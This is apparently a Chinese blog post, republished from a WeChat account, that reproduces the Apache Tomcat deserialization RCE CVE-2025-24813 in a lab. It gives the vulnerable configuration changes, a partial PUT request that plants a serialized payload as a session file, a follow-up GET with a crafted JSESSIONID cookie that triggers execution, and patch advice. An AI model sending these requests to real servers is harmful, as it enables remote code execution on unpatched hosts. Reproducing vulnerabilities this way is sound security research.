这次终于给我赶上热乎了的了,马上开始复现!
影响版本
11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.2
10.1.0-M1 ≤ Apache Tomcat ≤ 10.1.34
9.0.0. M1 ≤ Apache Tomcat ≤ 9.0.98
和前段时间的条件竞争漏洞涉及的版本基本一致
漏洞介绍
因为笔者是小菜鸡,代审之类的一窍不通,所以只对漏洞成因做大致的原理分析,大佬勿喷>_<
漏洞成因
当Tomcat DefaultServlet PUT在默认开启PUT写入的情况下,攻击者可以通过向指定目录发送反序列化载荷,使其因为Tomcat的临时Session会话文件存储功能被保存为“.xxx.session”文件,然后再通过去解析被攻击者恶意构造上传的JSESSIONID 时,就可以触发反序列化导致RCE。
漏洞条件
这个漏洞依然是利用条件苛刻,需要同时满足三个条件才可以利用:
-
开启DefaultServlet 的写入功能,允许PUT上传文件
-
开启Tomcat临时Session会话文件存储功能
-
类路径下至少有一个存在反序列化漏洞的库
环境搭建
具体tomcat前期搭建步骤参考:CVE-2024-50379 Apache Tomcat条件竞争RCE复现(宝宝级教程,高成功率)
基于已经搭建好的tomcat环境,我们需要修改conf目录下的两个文件:
web.xml下增加一段:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
切记要把只读readonly设置为false
然后context.xml添加一段:
<ManagerclassName="org.apache.catalina.session.PersistentManager">
<StoreclassName="org.apache.catalina.session.FileStore"/>
</Manager>
需要注意缩进格式
涉及xml修改的都要切记要以UTF-8无BOM的编码保存,否则会报错
然后需要添加一个存在反序列化漏洞的库,比如commons-collections、或者commons-beanutils之类的,这里以commons-collections做复现
下载地址:
https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
接着在webappsROOTWEB-INF下新建一个文件夹lib,把下载的jar放在文件夹里面
这样环境就搭建完成了,开启tomcat服务!
漏洞复现
首先我们需要构建反序列化攻击链,比如我们这里用的commons-collections,去找commons-collections的链子:
测试过发现大部分都是可以成功的
然后前往webfuzzer
POC1:
PUT /xxx/session HTTP/1.1
Host: 192.168.255.147:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{反序列化文件内容)}}
要注意的几个点,首先Range的分块值需要与Length保持一致,且大于当前文件的长度,不清楚的话就不要修改POC;然后就是反序列化载荷这块不能直接以base64传过去,需要先进行base64解码再传输,用yakit的话只需要加个标签就好
响应码409,代表反序列化载荷已经被写到”.xxx.session”里面了
POC2:
GET / HTTP/1.1
Host: 192.168.255.147:8080
Cookie: JSESSIONID=.xxx
响应码为500,此时我们就会发现,计算器弹出来了!
漏洞修复
更新至不受影响版本,将readonly设置为true,关闭临时Session会话文件存储功能
参考链接
https://forum.butian.net/article/674
原文始发于微信公众号(咸苹果学安全):漏洞复现——Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论